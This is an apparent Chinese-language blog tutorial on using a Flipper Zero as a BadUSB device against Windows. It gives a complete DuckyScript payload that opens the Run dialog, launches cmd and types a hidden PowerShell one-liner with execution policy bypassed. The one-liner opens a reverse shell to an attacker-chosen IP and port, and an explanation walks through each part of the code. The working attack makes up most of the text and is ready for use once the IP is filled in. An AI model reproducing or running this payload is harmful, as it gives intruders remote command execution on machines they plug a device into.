Flipper Zero BadUSB反弹shell

Flipper Zero BadUSB反弹shell

前置知识点:

Flipper Zero BadUSB 以及其他几个 BadUSB 设备使用用 DuckyScript 编写的有效负载。一种简单的脚本语言,用于执行导致键盘注入攻击的击键。

步骤

创建rev_shell_win.txt文件,并将其拖到badusb文件夹中.

相关代码:

bash 复制代码
REM This is a BadKB demo script for Windows to execute reverse shell using PowerShell

REM Wait for the system to settle (adjust delay if necessary)
DELAY 1000

REM Open Windows Run dialog (GUI + R)
GUI r
DELAY 500
STRING cmd
DELAY 500
ENTER
DELAY 750

REM Start reverse shell using PowerShell (replace with your own IP 192.168.x.x and port 4444)
STRING powershell -ExecutionPolicy Bypass -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object Text.Encoding.ASCII).GetString($bytes,0,$i);Write-Host 'Received command: ' $data; $sendback = (iex $data 2>&1 | Out-String);Write-Host 'Command output: ' $sendback; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
ENTER
DELAY 500

REM Additional delays to give time for the shell to establish the connection
DELAY 1000

REM Finish script
STRING Reverse shell should be active now.
ENTER

代码相关解释

bash 复制代码
1. REM 命令解释
REM 表示 "remark" 或注释,是脚本中的注释标记。注释内容不会被执行,通常用于对代码的解释或说明。以下是脚本中的注释部分:

batch
复制代码
REM This is a BadKB demo script for Windows to execute reverse shell using PowerShell
这行注释表明这是一个用于演示如何通过 PowerShell 创建反向 shell 的 BadKB 脚本。

batch
复制代码
REM Wait for the system to settle (adjust delay if necessary)
该行注释说明脚本会等待系统稳定下来,尤其是在目标计算机插入 USB 设备后,系统可能需要时间识别设备。

2. DELAY 命令
DELAY 是一个控制脚本执行延时的命令。它使得脚本等待指定的时间,以确保目标系统有足够的时间执行每一步操作。单位为毫秒。

batch
复制代码
DELAY 1000
该命令会让脚本延迟 1000 毫秒(即 1 秒)。这个延迟是为了确保系统和输入环境能够稳定。

3. 打开 Windows Run 对话框
batch
复制代码
GUI r
DELAY 500
GUI r 是模拟按下 Windows 键 + R,这是打开 Run 对话框的快捷键。接着通过 DELAY 500 给系统半秒钟的时间来响应。

batch
复制代码
STRING cmd
DELAY 500
ENTER
接下来,STRING cmd 会在 Run 对话框中输入 cmd,即启动 命令提示符。然后,ENTER 命令会模拟按下 回车键,从而打开 cmd。

4. 执行 PowerShell 脚本以启动反向连接
batch
复制代码
STRING powershell -ExecutionPolicy Bypass -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object Text.Encoding.ASCII).GetString($bytes,0,$i);Write-Host 'Received command: ' $data; $sendback = (iex $data 2>&1 | Out-String);Write-Host 'Command output: ' $sendback; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
ENTER
这行脚本启动了一个 PowerShell 脚本,用于创建反向连接。

命令解析:

powershell -ExecutionPolicy Bypass -nop -w hidden -c:

-ExecutionPolicy Bypass:绕过 PowerShell 的执行策略,允许执行未签名的脚本。
-nop:表示不加载配置文件(NoProfile),从而加快执行速度。
-w hidden:使 PowerShell 窗口在后台隐藏,不显示在用户桌面上。
-c:执行后续的 PowerShell 代码。
$client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444):

创建一个 TCP 客户端对象,并连接到攻击者指定的 IP 地址(192.168.x.x)和端口(4444)。
$stream = $client.GetStream():

获取与远程目标的网络流,这个流用于发送和接收数据。
[byte[]]$bytes = 0..65535|%{0}:

初始化一个字节数组 $bytes,用于接收从网络流中传输的数据。
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0):

循环从网络流中读取数据,直到没有数据可读取为止。
$data = (New-Object Text.Encoding.ASCII).GetString($bytes,0,$i):

将从网络流读取到的字节数据转换成 ASCII 字符串,保存在 $data 变量中。
Write-Host 'Received command: ' $data:

输出调试信息,打印收到的命令。
$sendback = (iex $data 2>&1 | Out-String):

执行接收到的命令,并将任何错误信息和标准输出一起捕获。iex 是 Invoke-Expression,它执行字符串形式的 PowerShell 命令。
Write-Host 'Command output: ' $sendback:

输出执行命令的结果。
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ':

在命令输出后添加 PowerShell 提示符,以便攻击者看到一个类似于本地 PowerShell 环境的提示符。
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2):

将命令的输出(包括提示符)转换为字节数据,以便发送回攻击者的机器。
$stream.Write($sendbyte,0,$sendbyte.Length):

将转换后的字节数据通过网络流发送回攻击者机器。
$stream.Flush():

刷新输出流,确保数据立即被发送。
5. 延迟等待反向连接建立
batch
复制代码
DELAY 500
再次延迟 500 毫秒,确保反向 shell 已成功建立。

6. 脚本结束语
batch
复制代码
STRING Reverse shell should be active now.
ENTER
在脚本的最后,向目标计算机输入一条消息,提示攻击者反向 shell 应该已经激活并可用于远程命令执行。

启动 BadUSB 反向 Shell
查看结果

参考文章:https://hackernoon.com/lang/zh/如何使用鳍状肢零作为-badusb-在-macOS-上获得反向-shell

相关推荐
悟天特斯17 分钟前
AI驱动的楼宇节能:从“经验省电“到“算法能效“的进化之路
人工智能·物联网
wuyk5551 小时前
《WiFi 嵌入式物联网开发全套实战》| 第 29 章 WiFi 长连接保活机制:无线层 + 应用层双重心跳
物联网
乐讯通物联网服务商1 小时前
外勤执法记录仪接入物联网:间歇联网终端通信方案选型分析
物联网·执法记录仪·物联网卡
微三云马玮均—GEO源码系统 私有化部署10 小时前
消费返物业费:消费+服务趋势的必然产物!
大数据·人工智能·物联网·区块链·生活
笨笨饿12 小时前
140_AI新手村MCP与Skills是干嘛的
开发语言·人工智能·python·stm32·单片机·嵌入式硬件·物联网
小神兵17 小时前
对电压源与电流源的的简单理解
单片机·嵌入式硬件·物联网
智鸟科技GemeOpen开发者智能设备21 小时前
MQTT智能插座GSPM1B2 · 开发者实战指南
java·开发语言·python·物联网
wuyk5551 天前
《WiFi 嵌入式物联网开发全套实战》| 第 28 章 WiFi 自动择优信道、自动重连、弱信号剔除算法
物联网
悟天特斯1 天前
楼宇自控的“最后一公里“:从设备控制到数据驱动的建筑智能体
人工智能·物联网
ITHAOGE152 天前
下载 | Win10 2021纯净精简版,预装应用极少!(9月更新、Win10 IoT LTSC 2021版、适合老电脑)
windows·科技·物联网·微软·电脑